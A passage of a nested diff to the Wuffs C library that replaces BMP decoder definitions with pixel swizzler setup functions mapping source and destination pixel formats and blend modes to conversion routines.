+- a_x = v_remaining; ++ return NULL; + } +- self->private_impl.f_state = (((v_s2 & 65535u) << 16u) | (v_s1 & 65535u)); +- return wuffs_base__make_empty_struct(); ++ return NULL; + } +-#endif // defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +-// ‼ WUFFS MULTI-FILE SECTION -x86_sse42 + +-#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__ADLER32) ++static inline WUFFS_BASE__FORCE_INLINE wuffs_base__pixel_swizzler__func // ++wuffs_private_impl__pixel_swizzler__prepare__bgrx( ++ wuffs_base__pixel_swizzler* p, ++ wuffs_base__pixel_format dst_pixfmt, ++ wuffs_base__slice_u8 dst_palette, ++ wuffs_base__slice_u8 src_palette, ++ wuffs_base__pixel_blend blend) { ++ switch (dst_pixfmt.repr) { ++ case WUFFS_BASE__PIXEL_FORMAT__Y: ++ return wuffs_private_impl__swizzle_y__bgrx; + +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BMP) ++ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: ++ return wuffs_private_impl__swizzle_bgr_565__bgrx; + +-// ---------------- Status Codes Implementations ++ case WUFFS_BASE__PIXEL_FORMAT__BGR: ++ return wuffs_private_impl__swizzle_xxx__xxxx; + +-const char wuffs_bmp__error__bad_header[] = "#bmp: bad header"; +-const char wuffs_bmp__error__bad_rle_compression[] = "#bmp: bad RLE compression"; +-const char wuffs_bmp__error__truncated_input[] = "#bmp: truncated input"; +-const char wuffs_bmp__error__unsupported_bmp_file[] = "#bmp: unsupported BMP file"; +-const char wuffs_bmp__note__internal_note_short_read[] = "@bmp: internal note: short read"; ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: ++ return wuffs_private_impl__swizzle_bgrw__bgrx; + +-// ---------------- Private Consts ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: ++ return wuffs_private_impl__swizzle_bgrw_4x16le__bgrx; + +-#define WUFFS_BMP__COMPRESSION_NONE 0 ++ case WUFFS_BASE__PIXEL_FORMAT__BGRX: ++ return wuffs_private_impl__swizzle_copy_4_4; + +-#define WUFFS_BMP__COMPRESSION_RLE8 1 ++ case WUFFS_BASE__PIXEL_FORMAT__RGB: ++ return wuffs_private_impl__swizzle_bgr__rgbx; + +-#define WUFFS_BMP__COMPRESSION_RLE4 2 ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBX: ++ return wuffs_private_impl__swizzle_bgrw__rgbx; ++ } ++ return NULL; ++} + +-#define WUFFS_BMP__COMPRESSION_BITFIELDS 3 ++static inline WUFFS_BASE__FORCE_INLINE wuffs_base__pixel_swizzler__func // ++wuffs_private_impl__pixel_swizzler__prepare__rgb( ++ wuffs_base__pixel_swizzler* p, ++ wuffs_base__pixel_format dst_pixfmt, ++ wuffs_base__slice_u8 dst_palette, ++ wuffs_base__slice_u8 src_palette, ++ wuffs_base__pixel_blend blend) { ++ switch (dst_pixfmt.repr) { ++ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: ++ return wuffs_private_impl__swizzle_bgr_565__rgb; + +-#define WUFFS_BMP__COMPRESSION_JPEG 4 ++ case WUFFS_BASE__PIXEL_FORMAT__BGR: ++ return wuffs_private_impl__swizzle_swap_rgb_bgr; + +-#define WUFFS_BMP__COMPRESSION_PNG 5 ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRX: ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++ if (wuffs_base__cpu_arch__have_x86_sse42()) { ++ return wuffs_private_impl__swizzle_bgrw__rgb__x86_sse42; ++ } ++#endif ++ return wuffs_private_impl__swizzle_bgrw__rgb; + +-#define WUFFS_BMP__COMPRESSION_ALPHABITFIELDS 6 ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: ++ return wuffs_private_impl__swizzle_bgrw_4x16le__rgb; + +-#define WUFFS_BMP__COMPRESSION_LOW_BIT_DEPTH 256 ++ case WUFFS_BASE__PIXEL_FORMAT__RGB: ++ return wuffs_private_impl__swizzle_copy_3_3; + +-#define WUFFS_BMP__RLE_STATE_NEUTRAL 0 ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBX: ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++ if (wuffs_base__cpu_arch__have_x86_sse42()) { ++ return wuffs_private_impl__swizzle_bgrw__bgr__x86_sse42; ++ } ++#endif ++ return wuffs_private_impl__swizzle_bgrw__bgr; ++ } ++ return NULL; ++} + +-#define WUFFS_BMP__RLE_STATE_RUN 1 ++static inline WUFFS_BASE__FORCE_INLINE wuffs_base__pixel_swizzler__func // ++wuffs_private_impl__pixel_swizzler__prepare__rgba_nonpremul( ++ wuffs_base__pixel_swizzler* p, ++ wuffs_base__pixel_format dst_pixfmt, ++ wuffs_base__slice_u8 dst_palette, ++ wuffs_base__slice_u8 src_palette, ++ wuffs_base__pixel_blend blend) { ++ switch (dst_pixfmt.repr) { ++ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgr_565__rgba_nonpremul__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgr_565__rgba_nonpremul__src_over; ++ } ++ return NULL; + +-#define WUFFS_BMP__RLE_STATE_ESCAPE 2 ++ case WUFFS_BASE__PIXEL_FORMAT__BGR: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgr__rgba_nonpremul__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgr__rgba_nonpremul__src_over; ++ } ++ return NULL; + +-#define WUFFS_BMP__RLE_STATE_LITERAL 3 ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++ if (wuffs_base__cpu_arch__have_x86_sse42()) { ++ return wuffs_private_impl__swizzle_swap_rgbx_bgrx__x86_sse42; ++ } ++#endif ++ return wuffs_private_impl__swizzle_swap_rgbx_bgrx; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgra_nonpremul__rgba_nonpremul__src_over; ++ } ++ return NULL; + +-#define WUFFS_BMP__RLE_STATE_DELTA_X 4 ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__rgba_nonpremul__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__rgba_nonpremul__src_over; ++ } ++ return NULL; + +-#define WUFFS_BMP__RLE_STATE_DELTA_Y 5 ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgra_premul__rgba_nonpremul__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgra_premul__rgba_nonpremul__src_over; ++ } ++ return NULL; + +-// ---------------- Private Initializer Prototypes ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRX: ++ // TODO. ++ break; + +-// ---------------- Private Function Prototypes ++ case WUFFS_BASE__PIXEL_FORMAT__RGB: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgr__bgra_nonpremul__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgr__bgra_nonpremul__src_over; ++ } ++ return NULL; + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bmp__decoder__do_decode_image_config( +- wuffs_bmp__decoder* self, +- wuffs_base__image_config* a_dst, +- wuffs_base__io_buffer* a_src); ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_copy_4_4; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgra_nonpremul__bgra_nonpremul__src_over; ++ } ++ return NULL; + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bmp__decoder__do_decode_frame_config( +- wuffs_bmp__decoder* self, +- wuffs_base__frame_config* a_dst, +- wuffs_base__io_buffer* a_src); ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgra_premul__bgra_nonpremul__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgra_premul__bgra_nonpremul__src_over; ++ } ++ return NULL; + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bmp__decoder__do_decode_frame( +- wuffs_bmp__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__pixel_blend a_blend, +- wuffs_base__slice_u8 a_workbuf, +- wuffs_base__decode_frame_options* a_opts); ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBX: ++ // TODO. ++ break; ++ } ++ return NULL; ++} + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bmp__decoder__swizzle_none( +- wuffs_bmp__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src); ++static inline WUFFS_BASE__FORCE_INLINE wuffs_base__pixel_swizzler__func // ++wuffs_private_impl__pixel_swizzler__prepare__rgba_premul( ++ wuffs_base__pixel_swizzler* p, ++ wuffs_base__pixel_format dst_pixfmt, ++ wuffs_base__slice_u8 dst_palette, ++ wuffs_base__slice_u8 src_palette, ++ wuffs_base__pixel_blend blend) { ++ switch (dst_pixfmt.repr) { ++ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgr_565__rgba_premul__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgr_565__rgba_premul__src_over; ++ } ++ return NULL; + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bmp__decoder__swizzle_rle( +- wuffs_bmp__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src); ++ case WUFFS_BASE__PIXEL_FORMAT__BGR: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgr__rgba_premul__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgr__rgba_premul__src_over; ++ } ++ return NULL; + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bmp__decoder__swizzle_bitfields( +- wuffs_bmp__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src); ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgra_nonpremul__rgba_premul__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgra_nonpremul__rgba_premul__src_over; ++ } ++ return NULL; + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bmp__decoder__swizzle_low_bit_depth( +- wuffs_bmp__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bmp__decoder__do_tell_me_more( +- wuffs_bmp__decoder* self, +- wuffs_base__io_buffer* a_dst, +- wuffs_base__more_information* a_minfo, +- wuffs_base__io_buffer* a_src); ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__rgba_premul__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__rgba_premul__src_over; ++ } ++ return NULL; + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bmp__decoder__read_palette( +- wuffs_bmp__decoder* self, +- wuffs_base__io_buffer* a_src); ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++ if (wuffs_base__cpu_arch__have_x86_sse42()) { ++ return wuffs_private_impl__swizzle_swap_rgbx_bgrx__x86_sse42; ++ } ++#endif ++ return wuffs_private_impl__swizzle_swap_rgbx_bgrx; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgra_premul__rgba_premul__src_over; ++ } ++ return NULL; + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bmp__decoder__process_masks( +- wuffs_bmp__decoder* self); ++ case WUFFS_BASE__PIXEL_FORMAT__RGB: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgr__bgra_premul__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgr__bgra_premul__src_over; ++ } ++ return NULL; + +-// ---------------- VTables ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgra_nonpremul__bgra_premul__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgra_nonpremul__bgra_premul__src_over; ++ } ++ return NULL; + +-const wuffs_base__image_decoder__func_ptrs +-wuffs_bmp__decoder__func_ptrs_for__wuffs_base__image_decoder = { +- (wuffs_base__status(*)(void*, +- wuffs_base__pixel_buffer*, +- wuffs_base__io_buffer*, +- wuffs_base__pixel_blend, +- wuffs_base__slice_u8, +- wuffs_base__decode_frame_options*))(&wuffs_bmp__decoder__decode_frame), +- (wuffs_base__status(*)(void*, +- wuffs_base__frame_config*, +- wuffs_base__io_buffer*))(&wuffs_bmp__decoder__decode_frame_config), +- (wuffs_base__status(*)(void*, +- wuffs_base__image_config*, +- wuffs_base__io_buffer*))(&wuffs_bmp__decoder__decode_image_config), +- (wuffs_base__rect_ie_u32(*)(const void*))(&wuffs_bmp__decoder__frame_dirty_rect), +- (uint64_t(*)(const void*, +- uint32_t))(&wuffs_bmp__decoder__get_quirk), +- (uint64_t(*)(const void*))(&wuffs_bmp__decoder__history_retain_length), +- (uint32_t(*)(const void*))(&wuffs_bmp__decoder__num_animation_loops), +- (uint64_t(*)(const void*))(&wuffs_bmp__decoder__num_decoded_frame_configs), +- (uint64_t(*)(const void*))(&wuffs_bmp__decoder__num_decoded_frames), +- (wuffs_base__status(*)(void*, +- uint64_t, +- uint64_t))(&wuffs_bmp__decoder__restart_frame), +- (wuffs_base__status(*)(void*, +- uint32_t, +- uint64_t))(&wuffs_bmp__decoder__set_quirk), +- (wuffs_base__empty_struct(*)(void*, +- uint32_t, +- bool))(&wuffs_bmp__decoder__set_report_metadata), +- (wuffs_base__status(*)(void*, +- wuffs_base__io_buffer*, +- wuffs_base__more_information*, +- wuffs_base__io_buffer*))(&wuffs_bmp__decoder__tell_me_more), +- (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_bmp__decoder__workbuf_len), +-}; ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_copy_4_4; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgra_premul__bgra_premul__src_over; ++ } ++ return NULL; ++ } ++ return NULL; ++} + +-// ---------------- Initializer Implementations ++// -------- + +-wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT +-wuffs_bmp__decoder__initialize( +- wuffs_bmp__decoder* self, +- size_t sizeof_star_self, +- uint64_t wuffs_version, +- uint32_t options){ +- if (!self) { ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status // ++wuffs_base__pixel_swizzler__prepare(wuffs_base__pixel_swizzler* p, ++ wuffs_base__pixel_format dst_pixfmt, ++ wuffs_base__slice_u8 dst_palette, ++ wuffs_base__pixel_format src_pixfmt, ++ wuffs_base__slice_u8 src_palette, ++ wuffs_base__pixel_blend blend) { ++ if (!p) { + return wuffs_base__make_status(wuffs_base__error__bad_receiver); + } +- if (sizeof(*self) != sizeof_star_self) { +- return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); +- } +- if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || +- (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { +- return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); +- } ++ p->private_impl.func = NULL; ++ p->private_impl.transparent_black_func = NULL; ++ p->private_impl.dst_pixfmt_bytes_per_pixel = 0; ++ p->private_impl.src_pixfmt_bytes_per_pixel = 0; + +- if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { +- // The whole point of this if-check is to detect an uninitialized *self. +- // We disable the warning on GCC. Clang-5.0 does not have this warning. +-#if !defined(__clang__) && defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" ++ // ---- ++ ++#if defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ENABLE_ALLOWLIST) ++ switch (dst_pixfmt.repr) { ++#if defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ALLOW_BGR_565) ++ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: ++ break; + #endif +- if (self->private_impl.magic != 0) { +- return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); +- } +-#if !defined(__clang__) && defined(__GNUC__) +-#pragma GCC diagnostic pop ++#if defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ALLOW_BGR) ++ case WUFFS_BASE__PIXEL_FORMAT__BGR: ++ break; + #endif +- } else { +- if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { +- memset(self, 0, sizeof(*self)); +- options |= WUFFS_INITIALIZE__ALREADY_ZEROED; +- } else { +- memset(&(self->private_impl), 0, sizeof(self->private_impl)); +- } ++#if defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ALLOW_BGRA_NONPREMUL) ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: ++ break; ++#endif ++#if defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ALLOW_BGRA_NONPREMUL_4X16LE) ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: ++ break; ++#endif ++#if defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ALLOW_BGRA_PREMUL) ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: ++ break; ++#endif ++#if defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ALLOW_RGB) ++ case WUFFS_BASE__PIXEL_FORMAT__RGB: ++ break; ++#endif ++#if defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ALLOW_RGBA_NONPREMUL) ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: ++ break; ++#endif ++#if defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ALLOW_RGBA_PREMUL) ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: ++ break; ++#endif ++ default: ++ return wuffs_base__make_status( ++ wuffs_base__error__disabled_by_wuffs_config_dst_pixel_format_enable_allowlist); + } ++#endif // defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ENABLE_ALLOWLIST) + +- self->private_impl.magic = WUFFS_BASE__MAGIC; +- self->private_impl.vtable_for__wuffs_base__image_decoder.vtable_name = +- wuffs_base__image_decoder__vtable_name; +- self->private_impl.vtable_for__wuffs_base__image_decoder.function_pointers = +- (const void*)(&wuffs_bmp__decoder__func_ptrs_for__wuffs_base__image_decoder); +- return wuffs_base__make_status(NULL); +-} ++ // ---- + +-wuffs_bmp__decoder* +-wuffs_bmp__decoder__alloc(void) { +- wuffs_bmp__decoder* x = +- (wuffs_bmp__decoder*)(calloc(sizeof(wuffs_bmp__decoder), 1)); +- if (!x) { +- return NULL; +- } +- if (wuffs_bmp__decoder__initialize( +- x, sizeof(wuffs_bmp__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { +- free(x); +- return NULL; ++ wuffs_base__pixel_swizzler__func func = NULL; ++ wuffs_base__pixel_swizzler__transparent_black_func transparent_black_func = ++ NULL; ++ ++ uint32_t dst_pixfmt_bits_per_pixel = ++ wuffs_base__pixel_format__bits_per_pixel(&dst_pixfmt); ++ if ((dst_pixfmt_bits_per_pixel == 0) || ++ ((dst_pixfmt_bits_per_pixel & 7) != 0)) { ++ return wuffs_base__make_status( ++ wuffs_base__error__unsupported_pixel_swizzler_option); + } +- return x; +-} + +-size_t +-sizeof__wuffs_bmp__decoder(void) { +- return sizeof(wuffs_bmp__decoder); +-} ++ uint32_t src_pixfmt_bits_per_pixel = ++ wuffs_base__pixel_format__bits_per_pixel(&src_pixfmt); ++ if ((src_pixfmt_bits_per_pixel == 0) || ++ ((src_pixfmt_bits_per_pixel & 7) != 0)) { ++ return wuffs_base__make_status( ++ wuffs_base__error__unsupported_pixel_swizzler_option); ++ } + +-// ---------------- Function Implementations ++ // TODO: support many more formats. + +-// -------- func bmp.decoder.get_quirk ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ transparent_black_func = ++ wuffs_private_impl__swizzle_transparent_black_src; ++ break; + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_bmp__decoder__get_quirk( +- const wuffs_bmp__decoder* self, +- uint32_t a_key) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ transparent_black_func = ++ wuffs_private_impl__swizzle_transparent_black_src_over; ++ break; + } + +- return 0u; +-} ++ switch (src_pixfmt.repr) { ++ case WUFFS_BASE__PIXEL_FORMAT__Y: ++ func = wuffs_private_impl__pixel_swizzler__prepare__y( ++ p, dst_pixfmt, dst_palette, src_palette, blend); ++ break; + +-// -------- func bmp.decoder.set_quirk ++ case WUFFS_BASE__PIXEL_FORMAT__Y_16BE: ++ func = wuffs_private_impl__pixel_swizzler__prepare__y_16be( ++ p, dst_pixfmt, dst_palette, src_palette, blend); ++ break; + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_bmp__decoder__set_quirk( +- wuffs_bmp__decoder* self, +- uint32_t a_key, +- uint64_t a_value) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); ++ case WUFFS_BASE__PIXEL_FORMAT__YA_NONPREMUL: ++ func = wuffs_private_impl__pixel_swizzler__prepare__ya_nonpremul( ++ p, dst_pixfmt, dst_palette, src_palette, blend); ++ break; ++ ++ case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_NONPREMUL: ++ func = ++ wuffs_private_impl__pixel_swizzler__prepare__indexed__bgra_nonpremul( ++ p, dst_pixfmt, dst_palette, src_palette, blend); ++ break; ++ ++ case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_BINARY: ++ func = wuffs_private_impl__pixel_swizzler__prepare__indexed__bgra_binary( ++ p, dst_pixfmt, dst_palette, src_palette, blend); ++ break; ++ ++ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: ++ func = wuffs_private_impl__pixel_swizzler__prepare__bgr_565( ++ p, dst_pixfmt, dst_palette, src_palette, blend); ++ break; ++ ++ case WUFFS_BASE__PIXEL_FORMAT__BGR: ++ func = wuffs_private_impl__pixel_swizzler__prepare__bgr( ++ p, dst_pixfmt, dst_palette, src_palette, blend); ++ break; ++ ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: ++ func = wuffs_private_impl__pixel_swizzler__prepare__bgra_nonpremul( ++ p, dst_pixfmt, dst_palette, src_palette, blend); ++ break; ++ ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: ++ func = wuffs_private_impl__pixel_swizzler__prepare__bgra_nonpremul_4x16le( ++ p, dst_pixfmt, dst_palette, src_palette, blend); ++ break; ++ ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: ++ func = wuffs_private_impl__pixel_swizzler__prepare__bgra_premul( ++ p, dst_pixfmt, dst_palette, src_palette, blend); ++ break; ++ ++ case WUFFS_BASE__PIXEL_FORMAT__BGRX: ++ func = wuffs_private_impl__pixel_swizzler__prepare__bgrx( ++ p, dst_pixfmt, dst_palette, src_palette, blend); ++ break; ++ ++ case WUFFS_BASE__PIXEL_FORMAT__RGB: ++ func = wuffs_private_impl__pixel_swizzler__prepare__rgb( ++ p, dst_pixfmt, dst_palette, src_palette, blend); ++ break; ++ ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: ++ func = wuffs_private_impl__pixel_swizzler__prepare__rgba_nonpremul( ++ p, dst_pixfmt, dst_palette, src_palette, blend); ++ break; ++ ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: ++ func = wuffs_private_impl__pixel_swizzler__prepare__rgba_premul( ++ p, dst_pixfmt, dst_palette, src_palette, blend); ++ break; + } + +- return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++ p->private_impl.func = func; ++ p->private_impl.transparent_black_func = transparent_black_func; ++ p->private_impl.dst_pixfmt_bytes_per_pixel = dst_pixfmt_bits_per_pixel / 8; ++ p->private_impl.src_pixfmt_bytes_per_pixel = src_pixfmt_bits_per_pixel / 8; ++ return wuffs_base__make_status( ++ func ? NULL : wuffs_base__error__unsupported_pixel_swizzler_option); + } + +-// -------- func bmp.decoder.decode_image_config +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_bmp__decoder__decode_image_config( +- wuffs_bmp__decoder* self, +- wuffs_base__image_config* a_dst, +- wuffs_base__io_buffer* a_src) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++WUFFS_BASE__MAYBE_STATIC uint64_t // ++wuffs_base__pixel_swizzler__limited_swizzle_u32_interleaved_from_reader( ++ const wuffs_base__pixel_swizzler* p, ++ uint32_t up_to_num_pixels, ++ wuffs_base__slice_u8 dst, ++ wuffs_base__slice_u8 dst_palette, ++ const uint8_t** ptr_iop_r, ++ const uint8_t* io2_r) { ++ if (p && p->private_impl.func) { ++ const uint8_t* iop_r = *ptr_iop_r; ++ uint64_t src_len = wuffs_base__u64__min( ++ ((uint64_t)up_to_num_pixels) * ++ ((uint64_t)p->private_impl.src_pixfmt_bytes_per_pixel), ++ ((uint64_t)(io2_r - iop_r))); ++ uint64_t n = ++ (*p->private_impl.func)(dst.ptr, dst.len, dst_palette.ptr, ++ dst_palette.len, iop_r, (size_t)src_len); ++ *ptr_iop_r += n * p->private_impl.src_pixfmt_bytes_per_pixel; ++ return n; + } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? 